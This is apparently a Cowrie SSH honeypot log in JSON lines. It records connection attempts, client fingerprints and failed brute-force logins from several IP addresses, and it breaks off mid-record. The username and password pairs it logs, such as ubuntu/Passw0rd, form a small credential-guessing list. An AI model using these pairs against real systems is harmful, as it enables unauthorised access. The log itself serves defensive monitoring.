{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna","message":"login attempt [susanna/susanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:43.087359Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna1","message":"login attempt [susanna/susanna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:44.172274Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":49266,"dst_ip":"159.203.135.109","dst_port":22,"session":"7911670c9103","protocol":"ssh","message":"New connection: 212.11.64.156:49266 (159.203.135.109:22) [session: 7911670c9103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:44.713259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:44.717001Z","src_ip":"212.11.64.156","session":"7911670c9103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:44.825684Z","src_ip":"212.11.64.156","session":"7911670c9103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna123","message":"login attempt [susanna/susanna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:45.258995Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"install","password":"password","message":"login attempt [install/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:45.295158Z","src_ip":"212.11.64.156","session":"7911670c9103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna1234","message":"login attempt [susanna/susanna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:46.342990Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:46.406065Z","src_ip":"212.11.64.156","session":"7911670c9103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna12345","message":"login attempt [susanna/susanna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:47.426696Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:48.510461Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":58302,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2c8c073c5d1","protocol":"ssh","message":"New connection: 64.227.144.233:58302 (159.203.135.109:22) [session: b2c8c073c5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:13:22.119730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:13:22.123620Z","src_ip":"64.227.144.233","session":"b2c8c073c5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:13:22.339689Z","src_ip":"64.227.144.233","session":"b2c8c073c5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"compound","password":"Compound2017","message":"login attempt [compound/Compound2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:13:22.773365Z","src_ip":"64.227.144.233","session":"b2c8c073c5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:13:23.991014Z","src_ip":"64.227.144.233","session":"b2c8c073c5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":60240,"dst_ip":"159.203.135.109","dst_port":22,"session":"de817b09a952","protocol":"ssh","message":"New connection: 212.11.64.156:60240 (159.203.135.109:22) [session: de817b09a952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:14:36.643480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:14:36.647728Z","src_ip":"212.11.64.156","session":"de817b09a952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:14:36.757338Z","src_ip":"212.11.64.156","session":"de817b09a952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tes","password":"12345678","message":"login attempt [tes/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:14:37.230018Z","src_ip":"212.11.64.156","session":"de817b09a952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:14:38.342984Z","src_ip":"212.11.64.156","session":"de817b09a952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":54978,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a6cf95ac123","protocol":"ssh","message":"New connection: 43.133.212.22:54978 (159.203.135.109:22) [session: 3a6cf95ac123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:01.170042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:01.173782Z","src_ip":"43.133.212.22","session":"3a6cf95ac123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:01.347068Z","src_ip":"43.133.212.22","session":"3a6cf95ac123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Passw0rd","message":"login attempt [ubuntu/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:02.531331Z","src_ip":"43.133.212.22","session":"3a6cf95ac123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:03.709107Z","src_ip":"43.133.212.22","session":"3a6cf95ac123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":46952,"dst_ip":"159.203.135.109","dst_port":22,"session":"df67e74219e0","protocol":"ssh","message":"New connection: 212.11.64.156:46952 (159.203.135.109:22) [session: df67e74219e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:22.543787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:22.549264Z","src_ip":"212.11.64.156","session":"df67e74219e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:22.659053Z","src_ip":"212.11.64.156","session":"df67e74219e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"changeme","message":"login attempt [ubuntu/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:23.129091Z","src_ip":"212.11.64.156","session":"df67e74219e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:16:24.241740Z","src_ip":"212.11.64.156","session":"df67e74219e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":53792,"dst_ip":"159.203.135.109","dst_port":22,"session":"8004f4c75904","protocol":"ssh","message":"New connection: 64.176.195.200:53792 (159.203.135.109:22) [session: 8004f4c75904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:14.739496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:14.744046Z","src_ip":"64.176.195.200","session":"8004f4c75904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:14.748898Z","src_ip":"64.176.195.200","session":"8004f4c75904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wcfg","password":"wcfg!","message":"login attempt [wcfg/wcfg!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:14.761017Z","src_ip":"64.176.195.200","session":"8004f4c75904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:15.768229Z","src_ip":"64.176.195.200","session":"8004f4c75904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.231.161.253","src_port":43206,"dst_ip":"10.17.0.5","dst_port":22,"session":"d946cfbb5277","protocol":"ssh","message":"New connection: 115.231.161.253:43206 (10.17.0.5:22) [session: d946cfbb5277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:16.810982Z"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:21.107656Z","src_ip":"115.231.161.253","session":"d946cfbb5277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.231.161.253","src_port":42626,"dst_ip":"10.17.0.5","dst_port":22,"session":"e926bbebd011","protocol":"ssh","message":"New connection: 115.231.161.253:42626 (10.17.0.5:22) [session: e926bbebd011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:21.330309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:25.146835Z","src_ip":"115.231.161.253","session":"e926bbebd011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:17:25.150851Z","src_ip":"115.231.161.253","session":"e926bbebd011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":39308,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fda34fd2bba","protocol":"ssh","message":"New connection: 212.11.64.156:39308 (159.203.135.109:22) [session: 3fda34fd2bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:18:01.513780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:18:01.519052Z","src_ip":"212.11.64.156","session":"3fda34fd2bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 